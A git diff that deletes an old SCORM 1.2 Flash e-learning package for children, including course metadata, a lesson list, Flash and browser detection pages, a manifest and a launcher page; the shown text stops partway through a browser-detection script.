diff --git a/Explore/elr/Other/O0005/media/lesson_00/L1_p08.swf b/Explore/elr/Other/O0005/media/lesson_00/L1_p08.swf
deleted file mode 100755
index b3b887d..0000000
--- a/Explore/elr/Other/O0005/media/lesson_00/L1_p08.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/metadata.xml b/Explore/elr/Other/O0005/metadata.xml
deleted file mode 100755
index c249e02..0000000
--- a/Explore/elr/Other/O0005/metadata.xml
+++ /dev/null
@@ -1,155 +0,0 @@
-<?xml version="1.0"?>
-<lom xmlns="http://www.imsglobal.org/xsd/imsmd_rootv1p2p1"
-     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-     xsi:schemaLocation="http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd">
-   <general>
-      <title>
-         <langstring>AAAAAAAAAAAA</langstring>
-      </title>
-      <catalogentry>
-         <catalog>AAAAAAAAAA</catalog>
-         <entry>
-            <langstring>1000-02-02</langstring>
-         </entry>
-      </catalogentry>
-      <language>en</language>
-      <description>
-         <langstring>AAAAAAAAAAAA</langstring>
-      </description>
-      <keyword>
-         <langstring>AAAAAAAAAAAAAAAAA</langstring>
-      </keyword>
-      <aggregationlevel>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">1</langstring>
-         </value>
-      </aggregationlevel>
-   </general>
-   <lifecycle>
-      <version>
-         <langstring>1.1</langstring>
-      </version>
-      <status>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Final</langstring>
-         </value>
-      </status>
-      <contribute>
-         <role>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Author</langstring>
-            </value>
-         </role>
-         <centity>
-            <vcard>BEGIN:vCard ORG:ADL Co-Lab END:vCard</vcard>
-         </centity>
-         <date>
-            <datetime>2003-01-30</datetime>
-         </date>
-      </contribute>
-   </lifecycle>
-   
-   <metametadata>
-      <metadatascheme>ADL SCORM 1.2</metadatascheme>
-   </metametadata>
-   
-   <technical>
-      <format>Flash/HTML</format>
-      <size>11111111</size>
-      <location>default.html</location>
-      <requirement>
-         <type>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Browser</langstring>
-            </value>
-         </type>
-         <name>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Microsoft Internet Explorer</langstring>
-            </value>
-         </name>
-      <minimumversion>5.0</minimumversion>
-      </requirement>
-      
-      <requirement>
-         <type>          
-            <source>
-               <langstring xml:lang="x-none">ADL</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Browser Plug-in</langstring>
-            </value>
-         </type>
-         <name>         
-            <source>
-               <langstring xml:lang="x-none">ADL</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Flash Plug-in</langstring>
-            </value>
-         </name>
-      </requirement>
-   </technical>
-   <educational>
-      <learningresourcetype>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Narrative Text</langstring>
-         </value>
-      </learningresourcetype>
-      <typicallearningtime>
-         <datetime>0000-00-00T00:02:00</datetime>
-      </typicallearningtime>
-   </educational>
-   <rights>
-      <cost>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">no</langstring>
-         </value>
-      </cost>
-      <copyrightandotherrestrictions>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">no</langstring>
-         </value>
-      </copyrightandotherrestrictions>
-   </rights>
-   <classification>
-      <purpose>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Educational Objective</langstring>
-         </value>
-      </purpose>
-      <description>
-         <langstring>AAAAAAAAA</langstring>
-      </description>
-  <keyword>
-         <langstring>AAAAAAAAA</langstring>
-      </keyword>
-   </classification>
-</lom>
-\ No newline at end of file
diff --git a/Explore/elr/Other/activities.js b/Explore/elr/Other/activities.js
deleted file mode 100644
index 7cbb692..0000000
--- a/Explore/elr/Other/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','E-Learn','Elearn','O0001','blue','P4,5,6-HIV (Introduction and process)'],
-['2','2','E-Learn','Elearn','O0002','blue','P4,5,6-Malaria (Prevention to do list'],
-['3','3','E-Learn','Elearn','O0003','blue','SIU Kids'],
-['4','4','E-Learn','Elearn','O0004','blue','SIU Parents'],
-['5','5','E-Learn','Elearn','O0005','blue','Tobacco'],
-]
diff --git a/Explore/elr/Science/S0001/course.xml b/Explore/elr/Science/S0001/course.xml
deleted file mode 100755
index 0baaed0..0000000
--- a/Explore/elr/Science/S0001/course.xml
+++ /dev/null
@@ -1,225 +0,0 @@
-<Modules>
-<Transcript>Yes</Transcript>
-<AssessmentNavigation>No</AssessmentNavigation>
-<Help>Yes</Help>
-<Glossary>Yes</Glossary>
-<Resources>No</Resources>
-<Exit>Yes</Exit>
-
-<Module>
-	<ModuleName>Nutrition</ModuleName>
-	<Lessons>
-	
-		<Lesson>
-			<LessonName>Getting started</LessonName>
-			<Pages>
-
-<Page>
-					<PageName>media/lesson_00/Sign_in.swf</PageName>
-					<PageTitleName>SignIn</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>0,0</ClickNext>
-					<replay>No</replay>
-					<nextDisable>Yes</nextDisable>
-				</Page>
-			<Page>
-					<PageName>media/lesson_00/L01_p01.swf</PageName>
-					<PageTitleName>Intro</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>No</replay>
-					<nextDisable>Yes</nextDisable>
-				</Page>
-					<Page>
-					<PageName>media/lesson_00/L01_p02.swf</PageName>
-					<PageTitleName>nn</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>static</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-				
-				
-				<Page><!--13-->
-					<PageName>media/lesson_00/L01_p03.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>static</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-				
-					<Page><!--13-->
-					<PageName>media/lesson_00/L01_p04.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>static</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-
-					<Page><!--13-->
-					<PageName>media/lesson_00/L01_p05.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>static</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-					<Page><!--13-->
-					<PageName>media/lesson_00/L01_p06.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>static</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-					<Page><!--13-->
-					<PageName>media/lesson_00/L01_p07.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-				
-
-				<Page><!--13-->
-					<PageName>media/lesson_00/L01_p08.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-					<Page><!--13-->
-					<PageName>media/lesson_00/L01_p09.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>Yes</nextDisable>
-				</Page>
-
-
-
-				<Page><!--13-->
-					<PageName>media/lesson_00/L01_p010.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-				<Page><!--13-->
-					<PageName>media/lesson_00/L01_p011.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page><Page><!--13-->
-					<PageName>media/lesson_00/L01_p012.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-				<Page><!--13-->
-					<PageName>media/lesson_00/L01_p013.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>1,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-				<Page><!--13-->
-					<PageName>media/lesson_00/L01_p014.swf</PageName>
-					<PageTitleName>Main menu</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>Yes</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>Yes</Slider>
-					<ClickNext>0,1</ClickNext>
-					<replay>Yes</replay>
-					<nextDisable>No</nextDisable>
-				</Page>
-		</Pages>
-		</Lesson>	
-		
-	</Lessons>
-</Module>
-</Modules>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0001/efk_shell.swf b/Explore/elr/Science/S0001/efk_shell.swf
deleted file mode 100755
index 6d7c92d..0000000
--- a/Explore/elr/Science/S0001/efk_shell.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/html/fpi_blank.html b/Explore/elr/Science/S0001/html/fpi_blank.html
deleted file mode 100755
index def01f9..0000000
--- a/Explore/elr/Science/S0001/html/fpi_blank.html
+++ /dev/null
@@ -1,12 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>ELearning For Kids</TITLE>
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0001/html/fpi_detection.html b/Explore/elr/Science/S0001/html/fpi_detection.html
deleted file mode 100755
index 1484dba..0000000
--- a/Explore/elr/Science/S0001/html/fpi_detection.html
+++ /dev/null
@@ -1,57 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>moock flash player inspector :: v1.3.6 (js)</TITLE>
-
-<!-- Prevent caching in netscape. 
-     Very important cause netscape tends to mangle cached code -->
-<META HTTP-EQUIV="expires" CONTENT="0">
-<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
-
-<!-- import the fpi logic from external javascript files -->
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-init.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-writevb.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-main.js"></SCRIPT>
-
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-<!--############################################################
-  IF YOU'RE USING PAGE REDIRECTION, FOLLOW THESE INSTRUCTIONS
-  1) Put some content here to tell the user what's going on
-     while they wait. something like: 
-  "Detecting Macromedia Flash, please wait..."
-
-  2) Delete everything below this point up to 
-  the NOSCRIPT start tag: <NOSCRIPT>
-  ############################################################-->
-
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">Detecting Macromedia Flash 
-  Player, please wait...</font>
-</center>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="fpi-swap.js"></SCRIPT>
-
-<NOSCRIPT>
-<!--############################################################################
-  HERE WE PROVIDE ALTERNATE CONTENT FOR NON-SCRIPT-SUPPORTING BROWSERS
-  OR BROWSERS THAT HAVE THEIR SCRIPTING TURNED OFF...
-  ############################################################################
-
-  IF YOU ARE USING PAGE REDIRECT, A META REFRESH GOES HERE. DELETE EVERYTHING
-  BETWEEN THE NOSCRIPT TAGS EXCEPT THE FOLLOWING META TAG:
-  <META HTTP-EQUIV="Refresh" CONTENT="10;URL=noflash.html"> 
-  
-  IF YOU ARE USING CONTENT SWAPPING, THE VALUE OF THE alternateContent VARIABLE
-  SHOULD BE REPEATED HERE. DELETE EVERYTHING BETWEEN THE NOSCRIPT TAGS
-  EXCEPT YOUR alternateContent HTML. FOR EXAMPLE:
-  <IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">
-  
-  -->
-</NOSCRIPT>
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0001/html/fpi_flash.html b/Explore/elr/Science/S0001/html/fpi_flash.html
deleted file mode 100755
index 53fe5d4..0000000
--- a/Explore/elr/Science/S0001/html/fpi_flash.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<html>
-<head>
-	<title>ELearning For Kids</title>
-</head>
-
-<body BGCOLOR="#FFFFFF">
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">You have required 
-  Flash Player installed on your machine.<br>
-  Please click above link to launch the course. </font> 
-</center>
-</body>
-</html>
diff --git a/Explore/elr/Science/S0001/html/fpi_no_flash.html b/Explore/elr/Science/S0001/html/fpi_no_flash.html
deleted file mode 100755
index 51143cb..0000000
--- a/Explore/elr/Science/S0001/html/fpi_no_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318.3" height="107." border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have flash player installed on your machine. Please 
-                click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to install latest flash player.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-3,1,619,156" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Science/S0001/html/fpi_upgrade_flash.html b/Explore/elr/Science/S0001/html/fpi_upgrade_flash.html
deleted file mode 100755
index cddd4a3..0000000
--- a/Explore/elr/Science/S0001/html/fpi_upgrade_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have required flash player installed on your machine. 
-                Please click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to upgrade flash player. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-327,-67,480,134" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Science/S0001/html/launch.html b/Explore/elr/Science/S0001/html/launch.html
deleted file mode 100755
index 5972c48..0000000
--- a/Explore/elr/Science/S0001/html/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="center" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.<br>Turn on your speakers and keep the volume high as you enter this course.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-181,-78,621,124" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/Science/S0001/html/os_browser_detection.html b/Explore/elr/Science/S0001/html/os_browser_detection.html
deleted file mode 100755
index bae128e..0000000
--- a/Explore/elr/Science/S0001/html/os_browser_detection.html
+++ /dev/null
@@ -1,12 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="../js/browser-detection.js"></script>
-<script>
- </script>
-</head>
-<body>
-</body>
-</html>
diff --git a/Explore/elr/Science/S0001/html/os_not_compatible_page.html b/Explore/elr/Science/S0001/html/os_not_compatible_page.html
deleted file mode 100755
index 9bd6543..0000000
--- a/Explore/elr/Science/S0001/html/os_not_compatible_page.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                Your computer does not meet the minimum requirements for viewing 
-                this course. It is recommended that you take this course from 
-                any other computer. Please click <a href="http://www.macromedia.com/support/flash/releasenotes/player/rn_6.html#systemrequirements" target="_blank">here</a> 
-                to view System Requirements. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-214,-45,591,157" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Science/S0001/images/bg_03.jpg b/Explore/elr/Science/S0001/images/bg_03.jpg
deleted file mode 100755
index 4c35c15..0000000
--- a/Explore/elr/Science/S0001/images/bg_03.jpg
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/images/efk_logo.png b/Explore/elr/Science/S0001/images/efk_logo.png
deleted file mode 100755
index b84ec18..0000000
--- a/Explore/elr/Science/S0001/images/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/images/launch.gif b/Explore/elr/Science/S0001/images/launch.gif
deleted file mode 100755
index da5e37e..0000000
--- a/Explore/elr/Science/S0001/images/launch.gif
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/imsmanifest.xml b/Explore/elr/Science/S0001/imsmanifest.xml
deleted file mode 100755
index 79eaa57..0000000
--- a/Explore/elr/Science/S0001/imsmanifest.xml
+++ /dev/null
@@ -1,57 +0,0 @@
-<?xml version="1.0"?>
-<manifest identifier="MANIFEST_EFK" version="1.2"
-          xmlns="http://www.imsproject.org/xsd/imscp_rootv1p1p2" 
-          xmlns:adlcp="http://www.adlnet.org/xsd/adlcp_rootv1p2"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-          xsi:schemaLocation="http://www.imsproject.org/xsd/imscp_rootv1p1p2 imscp_rootv1p1p2.xsd 
-                              http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd 
-                              http://www.adlnet.org/xsd/adlcp_rootv1p2 adlcp_rootv1p2.xsd">
-	<organizations default="MANIFESTD_ORG_0001">
-    	<organization identifier="MANIFESTD_ORG_0001">
-			<title>ELearning for kids: Language</title>
-			<item identifier="ITEM_EFK" identifierref="RESOURCE_EFK_00_00_00_00" isvisible="true">
-				<title>ELearning for kids: Language</title>
-			</item>
-		<metadata>
-			<schema>ADL SCORM</schema>
-			<schemaversion>1.2</schemaversion>
-			<adlcp:location>metadata.xml</adlcp:location>
-		</metadata>
-    	</organization>
-  	</organizations>
- 	<resources>
-		 <resource identifier="RESOURCE_EFK_00_00_00_00" type="webcontent" href="index.html" adlcp:scormtype="sco">
-	        <file href="index.html" />
-			<dependency identifierref="RESOURCE_EFK_00_00_00_00_r" /> 
-		</resource>
-        <resource identifier="RESOURCE_EFK_00_00_00_00_r" type="webcontent" href="efk_shell.swf" adlcp:scormtype="asset">			
-			
-			<file href="js/scorm_api.js" />
-			<file href="js/browser-detection.js" />
-			<file href="js/fpi-init.js" />
-			<file href="js/fpi-main.js" />
-			<file href="js/fpi-swap.js" />
-			<file href="js/fpi-writevb.js" />
-
-			<file href="course.xml" />		
-			<file href="efk_shell.swf" />
-			<file href="index.html" />
-			<file href="launch.html" />
-
-			<file href="html/fpi_blank.html" />
-			<file href="html/fpi_detection.html" />
-			<file href="html/fpi_flash.html" />
-			<file href="html/fpi_no_flash.html" />
-			<file href="html/fpi_upgrade_flash.html" />
-			<file href="html/launch.html" />
-			<file href="html/os_browser_detection.html" />
-			<file href="html/os_not_compatible_page.html" />
-
-			<file href="images/launch.gif" />
-			<file href="images/bg_03.jpg" />
-			<file href="images/efk_logo.png" />
-
-			
-		</resource>	
-	</resources>
-</manifest>
diff --git a/Explore/elr/Science/S0001/index.html b/Explore/elr/Science/S0001/index.html
deleted file mode 100755
index 6cd6a4c..0000000
--- a/Explore/elr/Science/S0001/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="js/scorm_api.js"></script>
-<script>
-function fnpopup(){
-    var wo=window.open("../launch.html","efk_course",'top=0, left=0, scrollbars=0,resizable=0, fullScreen=yes, dependent=yes');
-	if (wo==null || typeof(wo)=="undefined") {
-		alert("We have noticed that you are using a pop-up blocker; to view this site correctly you will need to switch off any pop-up blocking software.");
-	} 
-	wo.focus();
- }
- </script>
-</head>
-<frameset rows="100,0" frameborder="Yes" border="0" framespacing="0" onload="initSco()" onUnLoad="finish()">
-  <frame src="html/os_browser_detection.html" name="mainFrame">
-  <frame src="html/fpi_blank.html" name="bottomFrame" scrolling="auto" noresize>
-</frameset>
-<noframes>
-</noframes>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0001/js/browser-detection.js b/Explore/elr/Science/S0001/js/browser-detection.js
deleted file mode 100755
index 54d8b3b..0000000
--- a/Explore/elr/Science/S0001/js/browser-detection.js
+++ /dev/null
@@ -1,185 +0,0 @@
-// JavaScript Document v:1.3
-// Requires navigator 2.0, Internet Explorer 3.0
-
-// Browser ::
-//navigator.appVersion
-//navigator.appName
-//navigator.appCodeName(code name of browser)
-
-var agt, os, browser, version, place, thestring, osVer;
-var notCompatiblePage = "../html/os_not_compatible_page.html";
-var compatiblePage = "../html/launch.html";
-var flashDetectionPage = "../html/fpi_detection.html";
-
-// Browser Version Required for Windows
-var winIEVer = 4;
-var winNetscapeVer = 4;
-var winOperaVer = 6;
-var winAOLVer = 7;
-var winMozillaVer = 1;
-
-// Browser Version Required for Mac
-var macIEVer = 5;
-var macNetscapeVer = 4.7;
-var macOperaVer = 5;
-var macMozillaVer = 1;
-
-// Browser Version Required for Linux
-var linuxMozillaVer = 1.1;
-
-function getAgtInfo() {
-	agt = navigator.userAgent.toLowerCase();
-	if (checkIt('konqueror')) {
-		browser = "Konqueror";
-		os = "Linux";
-		osVer = "na";
-	} else if (checkIt('safari')) {
-		browser = "Safari";
-	} else if (checkIt('aol')) {
-		browser = "AOL";
-	} else if (checkIt('opera')) {
-		browser = "Opera";
-		if (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1) {
-			version = 2;
-		} else if (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1) {
-			version = 3;
-		} else if (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1) {
-			version = 4;
-		} else if (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1) {
-			version = 5;
-		} else if (agt.indexOf("opera 6") != -1 || agt.indexOf("opera/6") != -1) {
-			version = 6;
-		} else if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1) {
-			version = 7;
-		} else {
-			version = 0;
-		}
-	} else if (checkIt('msie')) {
-		browser = "IE";
-	} else if (!checkIt('compatible')) {
